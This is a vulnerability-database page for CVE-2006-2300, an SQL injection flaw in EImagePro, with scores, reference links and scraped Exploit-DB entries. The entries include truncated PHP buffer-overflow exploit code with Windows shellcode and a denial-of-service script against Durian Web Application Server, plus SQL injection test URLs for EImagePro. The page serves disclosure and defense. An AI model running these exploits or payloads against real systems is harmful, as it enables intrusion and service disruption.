CVE-2006-2300
published 2006-05-11CVE-2006-2300: Multiple SQL injection vulnerabilities in EImagePro allow remote attackers to execute arbitrary SQL commands via the (1) CatID parameter to subList.asp, (2)…
PriorityP341high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
1.74%
74.9th percentile
Multiple SQL injection vulnerabilities in EImagePro allow remote attackers to execute arbitrary SQL commands via the (1) CatID parameter to subList.asp, (2) SubjectID parameter to imageList.asp, or (3) Pic parameter to view.asp.
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Durian Web Application Server 3.02 - Remote Buffer Overflow
exploitdb·2006-12-29
CVE-2006-6853 Durian Web Application Server 3.02 - Remote Buffer Overflow
Durian Web Application Server 3.02 - Remote Buffer Overflow
---
http://sourceforge.net/projects/durian/
*/
error_reporting(E_ALL);
$address = "192.168.1.3";
$service_port = "4002";
$shellcode =
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\xda\xcd\x81\x7c". //ExitProcess, 0x7c81cdda
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"cmd.exe /c start notepad & ";
//$eip="\x72\xe0\xf1\x00";//DEP disabled
$eip="\x72\xe0\xf2\x00";
$ch =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);
for ($j=0; $j
# milw0rm.com [2006-12-29]
Exploit-DB
Durian Web Application Server 3.02 - Denial of Service
exploitdb·2006-12-29
CVE-2006-6853 Durian Web Application Server 3.02 - Denial of Service
Durian Web Application Server 3.02 - Denial of Service
---
http://sourceforge.net/projects/durian/
//by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org
error_reporting(E_ALL);
$service_port = "4002";
$address = "192.168.1.3";
$ch =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);
$c=1000;
for ($m=1; $m
# milw0rm.com [2006-12-29]
Exploit-DB
EImagePro - 'view.asp?Pic' SQL Injection
exploitdb·2006-05-09
CVE-2006-2300 EImagePro - 'view.asp?Pic' SQL Injection
EImagePro - 'view.asp?Pic' SQL Injection
---
source: https://www.securityfocus.com/bid/17911/info
EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
http://www.example.com/imagegallery/view.asp?CatID=1&Pic='
Exploit-DB
EImagePro - 'subList.asp?CatID' SQL Injection
exploitdb·2006-05-09
CVE-2006-2300 EImagePro - 'subList.asp?CatID' SQL Injection
EImagePro - 'subList.asp?CatID' SQL Injection
---
source: https://www.securityfocus.com/bid/17911/info
EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
http://www.example.com/imagegallery/subList.asp?CatID='
No writeups or analysis indexed.
http://downloads.securityfocus.com/vulnerabilities/exploits/eimagepro-xss.txthttp://secunia.com/advisories/20043http://www.osvdb.org/25331http://www.osvdb.org/25332http://www.osvdb.org/25333http://www.securityfocus.com/bid/17911http://www.vupen.com/english/advisories/2006/1749https://exchange.xforce.ibmcloud.com/vulnerabilities/26343http://downloads.securityfocus.com/vulnerabilities/exploits/eimagepro-xss.txthttp://secunia.com/advisories/20043http://www.osvdb.org/25331http://www.osvdb.org/25332http://www.osvdb.org/25333http://www.securityfocus.com/bid/17911http://www.vupen.com/english/advisories/2006/1749https://exchange.xforce.ibmcloud.com/vulnerabilities/26343
2006-05-11
Published